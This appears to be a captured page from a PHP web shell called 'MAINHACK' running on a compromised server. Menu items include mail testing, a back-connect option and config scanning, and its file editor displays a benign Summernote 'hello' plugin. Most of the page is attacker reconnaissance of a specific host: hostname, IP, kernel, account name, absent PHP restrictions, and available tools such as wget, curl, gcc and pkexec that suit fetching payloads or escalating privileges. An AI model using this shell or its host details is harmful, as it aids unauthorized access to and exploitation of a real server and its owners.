[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: summernote-ext-hello.js
(function(factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = factory(require('jquery')); } else { // Browser globals factory(window.jQuery); } }(function($) { // Extends plugins for adding hello. // - plugin is external module for customizing. $.extend($.summernote.plugins, { /** * @param {Object} context - context object has status of editor. */ 'hello': function(context) { var self = this; // ui has renders to build ui elements. // - you can create a button with `ui.button` var ui = $.summernote.ui; // add hello button context.memo('button.hello', function() { // create button var button = ui.button({ contents: '<i class="fa fa-child"/> Hello', tooltip: 'hello', click: function() { self.$panel.show(); self.$panel.hide(500); // invoke insertText method with 'hello' on editor module. context.invoke('editor.insertText', 'hello'); }, }); // create jQuery object from button instance. var $hello = button.render(); return $hello; }); // This events will be attached when editor is initialized. this.events = { // This will be called after modules are initialized. 'summernote.init': function(we, e) { // eslint-disable-next-line console.log('summernote initialized', we, e); }, // This will be called when user releases a key on editable. 'summernote.keyup': function(we, e) { // eslint-disable-next-line console.log('summernote keyup', we, e); }, }; // This method will be called when editor is initialized by $('..').summernote(); // You can create elements for plugin this.initialize = function() { this.$panel = $('<div class="hello-panel"/>').css({ position: 'absolute', width: 100, height: 100, left: '50%', top: '50%', background: 'red', }).hide(); this.$panel.appendTo('body'); }; // This methods will be called when editor is destroyed by $('..').summernote('destroy'); // You should remove elements on `initialize`. this.destroy = function() { this.$panel.remove(); this.$panel = null; }; }, }); }));
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002